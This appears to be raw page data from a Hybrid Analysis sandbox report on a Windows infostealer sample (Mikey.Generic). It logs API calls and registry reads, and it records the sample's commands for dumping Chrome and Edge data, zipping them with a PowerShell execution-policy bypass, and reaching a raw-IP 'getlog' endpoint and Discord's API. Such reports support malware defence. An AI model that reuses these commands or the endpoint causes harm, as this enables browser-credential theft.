26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mikey.Generic Sample 69e8aa04b0b1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 69e8aa04b0b1…. Malware family: Mikey.Generic. Threat score 100/100. 14/27 AV engines flagged this file. 17 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338","keywords":["Malicious","Mikey.Generic","malware analysis","sandbox report","threat intelligence","69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338"],"about":{"@type":"SoftwareApplication","name":"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mikey.Generic","antivirusDetections":{"malicious":14,"total":27},"behavioralIndicators":{"malicious":17,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T829,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")28:T5dd,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")29:T828,"chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CHROME.EXE") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CHROME.EXE\PERFOPTIONS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\APPCERTDLLS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION") "chromelevator.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "chromelevator.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "chromelevator.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE")2a:Ta1c," nul" - (UID: 00000000-00004140) "PL91A2.tmp" called "CreateProcessA" with parameter ""%TEMP%\chromelevator.exe" chrome --output-path "%TEMP%\\Winapi\Browsers\Chrome_raw" --kill" - (UID: 00000000-00004140) "PL91A2.tmp" called "CreateProcessA" with parameter ""%TEMP%\chromelevator.exe" edge --output-path "%TEMP%\\Winapi\Browsers\Edge_raw" --kill" - (UID: 00000000-00004140) "PL91A2.tmp" called "CreateProcessA" with parameter "powershell -ExecutionPolicy Bypass -Command "Compress-Archive -Path '%TEMP%\\Winapi\*' -DestinationPath '%TEMP%\\win.zip' -Force"" - (UID: 00000000-00004140) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00002908) "chromelevator.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" - (UID: 00000000-00004036) "chromelevator.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" - (UID: 00000000-00004896)3c:T44ba,"j.na" Heuristic match: "ag..af" Heuristic match: "ii.ps" Heuristic match: "dd:.za" Heuristic match: "g0.gh" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "j.rccc/|j&:qcfgcbp6=fz6glr:cx0sn03dj|.7~}75" Pattern match: "www.clarity.ms,name:clid,path:/,is_secure:true,is_httponly:true,expires:13445963147060713,value:bcd64e9f04b24a358bd120a2fafd1f69.20260201.20270201},{host:.microsoft.com,name:mc1,path:/,is_secure:true,is_httponly:false,ex" Heuristic match: "api.ipify.org" Heuristic match: "%windir%\system32\chcp.com" Heuristic match: "7r.km" Heuristic match: "];.td" Heuristic match: "l$.tl" Heuristic match: "_)x.us" Heuristic match: "np.in" Heuristic match: "6*.au" Heuristic match: "u1u.ph" Heuristic match: ")().zm"54:T56e1,Found URL "http://api.ipify.org/d5b-9b71-f2c114562cda" - Source: "00000000-00004140.00000000.208241.DAD70000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004140.00000000.208241.DAD70000.00000004.mdmp") Found URL "http://api.ipify.orgadvapi32.dllregopenkeyexaregqueryvalueexaregclosehandlesoftware\microsoft\windows" - Source: "00000000-00004140.00000001.209519.85DE8000.00000002.mdmp") Found URL "https://discord.com/api/v9/users/@me\browserslocalappdataprogramfilesprogramfiles(x86)chromechrome.exe\google\chrome\application\chrome.exe\google\chrome\user" - Source: "00000000-00004140.00000001.209519.85DE8000.00000002.mdmp") Found URL "http://127.0.0.1:" - Source: "00000000-00004140.00000001.209519.85DE8000.00000002.mdmp") Found URL "http://150.241.92.37:5021/getlog/s/08ofdi40at0t150.241.92.37/getlog/s/08ofdi40at0thttp://150.241.92.37/150.241.92.37deskt50.241.92.3750.241.92.37pi.ipify.org??\c:\users\hapubws\appdata\local\temp\winapi\cookies\edge_cookies.txt??\c:\users\hapubws\appdata\local\temp\winapi\cookies\edge_cookies.txt:\users\hapubws\appdata\local\microsoft\windows\iecompatcache\:\users\hapubws\appdata\local\microsoft\edgebho\ietoedge\??\c:\users\hapubws\appdata\local\temp\winapi\cookies\firefox_cookies.txt??\c:\users\hapubws\appdata\local\temp\winapi\browsers\edge_raw\edge\*c:\users\hapubws\appdata\local\microsoft\windowsinetcookiest.ie5:\users\hapubws\appdata\local\temp\\winapi\system.txt??\c:\users\hapubws\appdata\local\temp\winapi\cookies\chrome_cookies.txtookies.txt??\c:\users\hapubws\appdata\local\temp\winapi\browsers\edge_raw\edge??\c:\users\hapubws\appdata\local\temp\winapi\browsers\chrome_raw\chrome\*users\hapubws\appdata\local\temp\winapi\browsers\chrome_rawdevice\harddiskvolume2users\hapubws\appdata\local\temp\winapi\browsers\edge_rawdge_raw\?\c:rddiskvolume2users\hapubws\appdata\local\temp\winapi\browsers\edge_raw\edge\default\cookies.jsones.jsonusers\hapubws\appdata\local\temp\winapi\browsers\edge_rawwdge\default\cookies.jsonnrome\default\cookies.jsones.json:\users\hapubws\appdata\local\tempesktoplanklankookiesl91a2.tmpistoryummyummy://urlpify.orgnsresolveresktopbout:blankpmapperbout:blankrofilecalrpcboutecompatntexceptionbwsleedplat:edownloadefaultconnectionsettingsttp://api.ipify.org/api.ipify.orgecompatuaetoedgelisttryl:\users\hapubwsttp://api.ipify.org/miesitelistbwslecompatua:etoedgelist:rpc-6fab3111c583e00776rpc-6fab3111c583e00776ttp://api.ipify.org/rpc-6fab3111c583e00776icrosoft\windows\historyomstoreerslttp://api.ipify.org/eedplatecompat:miesitelist:edownload:efaultconnectionsettingsrpc-2755d2505b0b9c6b08etprofm,netman,dcomlaunchntexception:omstorehaplmieuserlistndplmieuserlist:efaultconnectionsettingsmp\\wip\\win.zip'" - Source: "00000000-00004140.00000001.209519.DAD70000.00000004.mdmp") Found URL "http://api.ipify.org.orgply3ply3ply3ply3ply3ply3ply3ply3ply3ply3ply3http://api.ipify.orgply3fc28593fst" - Source: "00000000-00004140.00000001.209519.DAD70000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004792.00000000.208157.77B20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj2.5.29.1f+56bhv*8tpay+66\+36_+<6r+96u+:6h+'6k+" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46@4sfglobalsign" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysologiesum" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnanonymously" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsbhv*8tpaxszd2zxszd2zy6imgm5n-s" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lh>h7&z" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000000.209060.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006024.00000000.209060.62550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006024.00000000.209060.62550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000000.209060.62550000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006024.00000001.209427.2B2D2000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>pkjb0(kbpfjb@gib@yjb0_jb" - Source: "00000000-00006024.00000001.209427.46640000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj2.5.29.1f+56bhv*8tpay+66\+36_+<6r+96u+:6h+'6k+" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46@4sfglobalsign" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysologiesum" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnh7&z" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000001.209427.60C30000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006024.00000001.209427.62550000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006024.00000001.209427.62550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000001.209427.62550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00006024.00000001.209427.62650000.00000004.mdmp") Found URL "http://wwwft.com/pki/docs/ult.htm0@7" - Source: "00000000-00006024.00000001.209427.62650000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000001.209427.62650000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006024.00000001.209427.62650000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006024.00000001.209427.62650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2pk3.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006024.00000001.209427.626DC000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0@]" - Source: "00000000-00006024.00000001.209427.626DC000.00000004.mdmp")55:T652,Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")56:Td30,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: 